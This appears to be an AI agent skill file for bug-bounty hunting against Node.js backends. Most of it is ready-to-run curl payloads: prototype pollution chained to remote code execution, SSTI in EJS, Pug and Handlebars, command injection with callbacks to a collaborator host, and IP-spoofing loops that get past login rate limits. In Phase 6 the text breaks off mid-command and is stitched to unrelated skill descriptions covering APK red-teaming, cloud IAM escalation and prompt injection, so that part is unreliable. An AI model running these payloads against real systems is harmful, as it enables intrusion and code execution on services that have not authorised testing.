hunt-nodejs
Hunt-nodejs identifies and exploits critical vulnerabilities specific to Node.js backend applications, including prototype pollution chains leading to remote code execution via lodash or Object.assign, Express trust proxy misconfigurations allowing request spoofing, template engine SSTI in EJS/Pug/Handlebars, child_process command injection, require path traversal, and environment variable exposure. Use this skill when targeting Node.js-based services running Express, Fastify, NestJS, or Koa frameworks.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-nodejs && cp -r /tmp/hunt-nodejs/skills/hunt-nodejs ~/.claude/skills/hunt-nodejsSKILL.md
# HUNT-NODEJS — Node.js Specific Vulnerabilities
## Crown Jewel Targets
Prototype Pollution reaching a sink in Node.js backend = Critical RCE.
**Highest-value chains:**
- **Prototype Pollution → RCE** — `__proto__` injection via `lodash.merge` / `Object.assign` → polluted prototype reaches `child_process.exec` or `vm.runInNewContext` sink
- **Express trust proxy** — `app.set('trust proxy', true)` without validation → attacker sets `X-Forwarded-For` to bypass IP allowlists or rate limits
- **EJS/Pug SSTI** — template engine receives user input → `{{= process.mainModule.require('child_process').execSync('id') }}`
- **`child_process` injection** — user input interpolated into shell command string → OS command injection
- **`require()` path traversal** — attacker-controlled module path → load arbitrary file as JS
---
## Attack Surface Signals
```
X-Powered-By: Express Confirms Express.js
Node.js in error messages Runtime detected
package.json exposed Dependency list + versions
/proc/self/environ accessible Environment variable exfil
Error stack traces with .js paths Node.js confirmed
__proto__ in JSON accepted Prototype pollution candidate
```
---
## Phase 1 — Fingerprint
```bash
# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"
# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"
# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"
```
---
## Phase 2 — Prototype Pollution Detection
```bash
# JSON body injection — test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": "yes"}}'
# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"
```
---
## Phase 3 — Prototype Pollution → RCE Chain
```bash
# If pollution is confirmed, attempt to reach dangerous sinks
# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
-H "Content-Type: application/json" \
-d '{
"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--require /proc/self/fd/0",
"env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
}
}'
# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'
# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
-H "Content-Type: application/json" \
-d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'
# OOB confirmation — check Interactsh for callback
```
---
## Phase 4 — Express Trust Proxy Abuse
```bash
# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?
# Spoof IP to 127.0.0.1 (localhost bypass)
curl -s -X POST https://$TARGET/api/admin/action \
-H "X-Forwarded-For: 127.0.0.1" \
-H "Content-Type: application/json" \
-d '{"action": "test"}'
# Spoof to internal IP range
curl -s -X POST https://$TARGET/api/internal \
-H "X-Forwarded-For: 10.0.0.1" \
-H "X-Real-IP: 10.0.0.1"
# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
curl -s https://$TARGET/api/login \
-H "X-Forwarded-For: 1.2.3.$i" \
-d '{"email":"admin@test.com","password":"wrong"}' \
-o /dev/null -w "$i: %{http_code}\n"
done
```
---
## Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)
```bash
# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "<%= 7*7 %>"}'
# EJS RCE payload
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'
# Pug SSTI
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'
# Handlebars — prototype pollution via template
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'
```
---
## Phase 6 — child_process Command Injection
```bash
# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan
# Basic injection test
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl -s -X POST https://$TARGET/api/exec \
-H "Content-Type: application/json" \
-d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.